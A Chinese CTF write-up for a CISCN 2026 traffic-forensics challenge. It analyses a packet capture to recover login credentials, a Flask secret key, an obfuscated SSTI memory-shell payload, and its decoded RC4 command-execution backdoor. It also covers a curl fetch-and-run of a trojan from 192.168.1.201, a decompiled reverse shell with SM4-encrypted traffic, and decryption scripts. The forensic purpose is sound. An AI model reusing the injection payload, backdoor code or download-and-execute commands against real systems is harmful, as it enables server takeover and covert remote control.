ciscn2026流量分析

流量取证
比赛的时候手慢了点,重新复现一下。

1

要求找到成功登陆时的账号密码。直接全局搜login,发现了大量的登陆请求。回显为用户名或密码错误。因此从后往前搜索login(ctrl+b搜索上一个),发现有一个登录后回显302的,发现后面成为管理员。因此找到302回显的发包,即可发现账号密码为admin zxcvbnm123

2

要求找到SERCET_KEY的值,直接全局搜索即可。 SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'

3

要求获取内存马的加密密钥
继续看下面的包,发现preview_content=,疑似ssti内存马注入。ssti注入内存马一般是通过http协议进行通信,继续往下看http协议包。过滤并保留http协议包,发现下一个包内就发送了很多奇怪的代码:

1
preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}

可以看到其经过base64加密。放到cycberchef里解密一下看看:

1
2
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+********'))

这里可以看到,先经过反转,然后base64解密,zlib解压缩。尝试解密一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import zlib
import base64


cdata = b'**'
mdata= cdata[::-1]
print(mdata)
mdata = base64.b64decode(mdata)
outdata = zlib.decompress(mdata)
print(f"解压后代码:{outdata}")
'''
b"exec((_)(b'=Mh9tF+P7**************'))"
'''

发现解密出的代码仍旧是exec(()(b’****’))的形式,存在嵌套加密。也就是说,恶意代码是
exec((
)(b’exec(()(b’exec(()(b’exec(()(b’exec(()(b’***)))))))))) 这种的形式,我们需要逐层提取载荷,一直解压到最后。
exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import zlib
import base64
import re

pattern = b"exec\(\(_\)\(b'([^']+)'\)\)"
cdata = b'**************************************'
mdata= cdata[::-1]
mdata = base64.b64decode(mdata)
outdata = zlib.decompress(mdata)
for _ in range(1,100):
print(_)
print(f"解压后代码:{outdata}")
outdata =re.search(pattern, outdata).group(1).decode("UTF-8")
print(outdata)
outdata=outdata[::-1]
outdata=base64.b64decode(outdata)
outdata=zlib.decompress(outdata)

提取出来的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b\'v1p3r_5tr1k3_k3y\'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
tfor i in range(256):j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get(\'X-Token-Auth\') != \'3011aa21232beb7504432bfa90d32779\':
return "Error"
enc_hex_cmd = request.form.get(\'data\')
if not enc_hex_cmd:
return ""
try:enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(\'utf-8\', errors=\'ignore\')
output_bytes = getattr(os, \'popen\')(cmd).read().encode(\'utf-8\', errors=\'ignore\')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

一个rc4加密的内存马。很明确了,密钥是
v1p3r_5tr1k3_k3y

4

要求找到内存马的名字。

接下来继续看后面的包。根据这个内存马,后面的数据都存在这个data里面。逐个查看data并解密即可知道执行了什么命令。
其分别执行了
id
ls -al
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
这里的下一个http包中就get了一个shell.zip
然后通过打开Hypertext Transfer Protocol,在media type这里导出分组字节流即可获取到压缩包。
或者通过复制as a hex stream的方式放到cycberchef里,然后fromhex 导出也可。注意如果用其他方式复制,可能会导致一些不可显示的数据丢失掉,导致不能正常生成压缩包。

可以看到压缩包里面有一个shell,但是被加密了。
继续看下面的通信:
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

可以看到,解压密码是nf2jd092jd01
这里还把木马重命名为pyhton3.13,可见其名字就是pyhton3.13了。这里启动木马后,通信就不通过http方式了,因此后面也没有http包。

5

要求找到shell的通信密钥。
之前我们已经拿到了shell的本题,直接去分析shell文件即可。
进入主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+4h] [rbp-115Ch] BYREF
unsigned int v6; // [rsp+8h] [rbp-1158h] BYREF
unsigned int v7; // [rsp+Ch] [rbp-1154h] BYREF
_DWORD v8[4]; // [rsp+10h] [rbp-1150h] BYREF
_BYTE v9[128]; // [rsp+20h] [rbp-1140h] BYREF
_BYTE v10[128]; // [rsp+A0h] [rbp-10C0h] BYREF
char command[4096]; // [rsp+120h] [rbp-1040h] BYREF
struct sockaddr s; // [rsp+1120h] [rbp-40h] BYREF
int v13; // [rsp+1134h] [rbp-2Ch]
int v14; // [rsp+1138h] [rbp-28h]
int v15; // [rsp+113Ch] [rbp-24h]
FILE *stream; // [rsp+1140h] [rbp-20h]
int v17; // [rsp+1148h] [rbp-18h]
unsigned int seed; // [rsp+114Ch] [rbp-14h]
int fd; // [rsp+1150h] [rbp-10h]
int j; // [rsp+1154h] [rbp-Ch]
int v21; // [rsp+1158h] [rbp-8h]
int i; // [rsp+115Ch] [rbp-4h]

fd = socket(2, 1, 0);
if ( fd < 0 )
exit(1);
memset(&s, 48, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201");
*(_WORD *)s.sa_data = htons(0xE59Eu);
if ( connect(fd, &s, 0x10u) < 0 )
{
close(fd);
exit(1);
}
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);
srand(seed);
for ( i = 0; i <= 3; ++i )
v8[i] = rand();
sub_13B4(v10, v8, 0LL);
sub_13B4(v9, v8, 1LL);
while ( (unsigned int)sub_18ED((unsigned int)fd, &v6, 4LL, 0LL) == 4 )
{
v6 = (v6 >> 8) & 0xFF00 | (v6 << 8) & 0xFF0000 | (v6 << 24) | HIBYTE(v6);
if ( v6 <= 0x1000 && v6 && (v6 & 0xF) == 0 )
{
v21 = sub_18ED((unsigned int)fd, command, v6, 0LL);
if ( v21 != v6 )
break;
sub_1860(v10, 0LL, command, command, v21);
v17 = (unsigned __int8)command[v21 - 1];
if ( v17 && v17 <= 16 )
command[v21 - v17] = 0;
else
command[v21] = 0;
stream = popen(command, "r");
if ( stream )
{
v21 = fread(command, 1uLL, 0xFFFuLL, stream);
pclose(stream);
command[v21] = 0;
}
else
{
strcpy(command, "popen failed\n");
v21 = strlen(command);
}
v15 = v21;
v14 = 16 * (v21 / 16 + 1);
v13 = v14 - v21;
for ( j = v21; j < v14; command[j++] = v13 )
;
sub_1860(v9, 1LL, command, command, v14);
v5 = (v14 >> 8) & 0xFF00 | (v14 << 8) & 0xFF0000 | (v14 << 24) | (v14 >> 24);
if ( (unsigned int)sub_197F((unsigned int)fd, &v5, 4LL, 0LL) != 4 )
break;
v3 = sub_197F((unsigned int)fd, command, v14, 0LL);
if ( v14 != v3 )
break;
}
}
close(fd);
return 0LL;
}

很明显是一个开启socket用于执行命令的木马
注意此处:

1
2
3
4
5
6
7
8
9
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);//这个地方实际上就是在转小端序
srand(seed);
for ( i = 0; i <= 3; ++i )
v8[i] = rand();

这里接收了一个unsigned int v7,且为4字节;将其进行移位并赋值给seed作为种子生成v8[4]
因为代码里硬编码了ip 192.168.1.201,因此后面直接来看与192.168.1.201进行通信的TCP包
Data (4 bytes)
Data: 34952046
[Length: 4]
可知这就是传给木马的v7了。
继续分析代码,接下来是
sub_13B4(v10, v8, 0LL);
sub_13B4(v9, v8, 1LL);
这里的一个0一个1,很可能是一个用于加密一个用于解密的。
继续分析代码发现了
.rodata:0000000000002020 ; unsigned __int8 byte_2020[256]
.rodata:0000000000002020 byte_2020 db 0D6h, 90h, 0E9h, 0FEh, 0CCh, 0E1h, 3Dh, 0B7h, 16h, 0B6h
.rodata:0000000000002020 ; DATA XREF: sub_1229+26↑o
.rodata:000000000000202A db 14h, 0C2h, 28h, 0FBh, 2Ch, 5, 2Bh, 67h, 9Ah, 76h, 2Ah
.rodata:0000000000002035 db 0BEh, 4, 0C3h, 0AAh, 44h, 13h, 26h, 49h, 86h, 6, 99h
.rodata:0000000000002040 db 9Ch, 42h, 50h, 0F4h, 91h, 0EFh, 98h, 7Ah, 33h, 54h
.rodata:000000000000204A db 0Bh, 43h, 0EDh, 0CFh, 0ACh, 62h, 0E4h, 0B3h, 1Ch, 0A9h
.rodata:0000000000002054 db 0C9h, 8, 0E8h, 95h, 80h, 0DFh, 94h, 0FAh, 75h, 8Fh
.rodata:000000000000205E db 3Fh, 0A6h, 47h, 7, 0A7h, 0FCh, 0F3h, 73h, 17h, 0BAh
.rodata:0000000000002068 db 83h, 59h, 3Ch, 19h, 0E6h, 85h, 4Fh, 0A8h, 68h, 6Bh
.rodata:0000000000002072 db 81h, 0B2h, 71h, 64h, 0DAh, 8Bh, 0F8h, 0EBh, 0Fh, 4Bh
.rodata:000000000000207C db 70h, 56h, 9Dh, 35h, 1Eh, 24h, 0Eh, 5Eh, 63h, 58h, 0D1h
.rodata:0000000000002087 db 0A2h, 25h, 22h, 7Ch, 3Bh, 1, 21h, 78h, 87h, 0D4h, 0
.rodata:0000000000002092 db 46h, 57h, 9Fh, 0D3h, 27h, 52h, 4Ch, 36h, 2, 0E7h, 0A0h
.rodata:000000000000209D db 0C4h, 0C8h, 9Eh, 0EAh, 0BFh, 8Ah, 0D2h, 40h, 0C7h, 38h
.rodata:00000000000020A7 db 0B5h, 0A3h, 0F7h, 0F2h, 0CEh, 0F9h, 61h, 15h, 0A1h
.rodata:00000000000020B0 db 0E0h, 0AEh, 5Dh, 0A4h, 9Bh, 34h, 1Ah, 55h, 0ADh, 93h
.rodata:00000000000020BA db 32h, 30h, 0F5h, 8Ch, 0B1h, 0E3h, 1Dh, 0F6h, 0E2h, 2Eh
.rodata:00000000000020C4 db 82h, 66h, 0CAh, 60h, 0C0h, 29h, 23h, 0ABh, 0Dh, 53h
.rodata:00000000000020CE db 4Eh, 6Fh, 0D5h, 0DBh, 39h, 0B8h, 31h, 11h, 0Ch, 5Ah
.rodata:00000000000020D8 db 0CBh, 3Eh, 0Ah, 45h, 0E5h, 94h, 77h, 5Bh, 8Dh, 6Dh
.rodata:00000000000020E2 db 48h, 41h, 10h, 0BDh, 9, 0C1h, 4Ah, 89h, 0Dh, 6Eh, 97h
.rodata:00000000000020ED db 0A1h, 1Dh, 16h, 0Ah, 0D9h, 88h, 6Ah, 96h, 0D1h, 6Bh
.rodata:00000000000020F7 db 32h, 2, 35h, 46h, 6, 7Dh, 65h, 49h, 8Ch, 0F0h, 3Eh
.rodata:0000000000002102 db 2Dh, 7Ah, 15h, 0FFh, 5, 8Eh, 1, 84h, 3Ch, 3Ah, 38h
.rodata:000000000000210D db 53h, 87h, 7Bh, 0Bh, 2Bh, 7Eh, 0Fh, 0F6h, 69h, 0A8h
.rodata:0000000000002117 db 5Ah, 0B5h, 4Ch, 1Bh, 39h, 7Fh, 8, 8Dh, 1Ch
这个很明显是 SM4 的标准 S 盒。之前那个v8是128位的,那基本可以确实就是SM4密钥了。
写一个c程序获取密钥即可。注意要在linux上使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
unsigned int seed = 0x34952046;
srand(seed);
uint32_t v8[4];
for (int i = 0; i < 4; ++i) {
v8[i] = rand();
}
unsigned char *key_byte_ptr = (unsigned char *)v8;
for (int i = 0; i < 16; i++) {
printf("%02x", key_byte_ptr[i]);
}
return 0;
}

这里需要注意大端序小端序问题。
必须转为char形式,因为:
算法需求:SM4操作的是字节流,不是整数数组
字节序问题:直接打印整数会得到错误的字节顺序
内存表示:需要按内存中的实际布局获取数据
通用性:字节表示在所有平台上都是一致的
密钥:
ac46fb610b313b4f32fc642d8834b456

6

要求找到黑客获取的服务器中的flag值。

分析代码可知,是一个标准SM4+替换过的S盒
这部分参考了https://www.dr0n.top/posts/22eff239/#SnakeBackdoor-6,感谢师傅的wp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

import struct

RAW_HEX = """00000030
7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729"""

KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"
SBOX_HEX = (
"d690e9fecce13db716b614c228fb2c05"
"2b679a762abe04c3aa44132649860699"
"9c4250f491ef987a33540b43edcfac62"
"e4b31ca9c908e89580df94fa758f3fa6"
"4707a7fcf37317ba83593c19e6854fa8"
"686b81b27164da8bf8eb0f4b70569d35"
"1e240e5e6358d1a225227c3b01217887"
"d40046579fd327524c3602e7a0c4c89e"
"eabf8ad240c738b5a3f7f2cef96115a1"
"e0ae5da49b341a55ad933230f58cb1e3"
"1df6e22e8266ca60c02923ab0d534e6f"
"d5db39b831110c5acb3e0a45e594775b"
"8d6d484110bd09c14a890d6e97a11d16"
"0ad9886a96d16b32023546067d65498c"
"f03e2d7a15ff058e01843c3a3853877b"
"0b2b7e0ff669a85ab54c1b397f088d1c"
)

FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279,
]

SBOX = list(bytes.fromhex(SBOX_HEX))
KEY = bytes.fromhex(KEY_HEX)

def rol32(x, n):
x &= 0xFFFFFFFF
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def tau_le(x):
b0 = (x >> 24) & 0xFF
b1 = (x >> 16) & 0xFF
b2 = (x >> 8) & 0xFF
b3 = x & 0xFF
return (SBOX[b0]
| (SBOX[b1] << 8)
| (SBOX[b2] << 16)
| (SBOX[b3] << 24))

def T(x):
b = tau_le(x)
return b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)

def Tp(x):
b = tau_le(x)
return b ^ rol32(b, 13) ^ rol32(b, 23)

def key_schedule(mk_bytes):
MK = list(struct.unpack(">4I", mk_bytes))
K = [MK[i] ^ FK[i] for i in range(4)]
rk = []
for i in range(32):
t = (K[i] ^ Tp(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])) & 0xFFFFFFFF
K.append(t)
rk.append(t)
return rk

def crypt_block(block16, rk32):
X = list(struct.unpack(">4I", block16))
for i in range(32):
X.append((X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk32[i])) & 0xFFFFFFFF)
return struct.pack(">4I", X[35], X[34], X[33], X[32])

def sm4_ecb(data, rk32):
return b"".join(crypt_block(data[i:i+16], rk32) for i in range(0, len(data), 16))

def pkcs7_unpad_loose(b):
pad = b[-1]
return b[:-pad] if 1 <= pad <= 16 else b

def main():
raw = bytes.fromhex(RAW_HEX)
ln = int.from_bytes(raw[:4], "big")
ct = raw[4:4+ln]

rk_dec = key_schedule(KEY)[::-1]
pt = pkcs7_unpad_loose(sm4_ecb(ct, rk_dec))

print(pt.decode("utf-8", errors="replace"), end="")

if __name__ == "__main__":
main()

写在最后

元旦花了一下午时间复现,虽然感觉后面半决就没有流量取证,更多是内存取证和上机,感觉也收获不少。后面就是速成web,然后把自己内存取证的功底捡一捡,道阻且长。

2026.1.1 19:52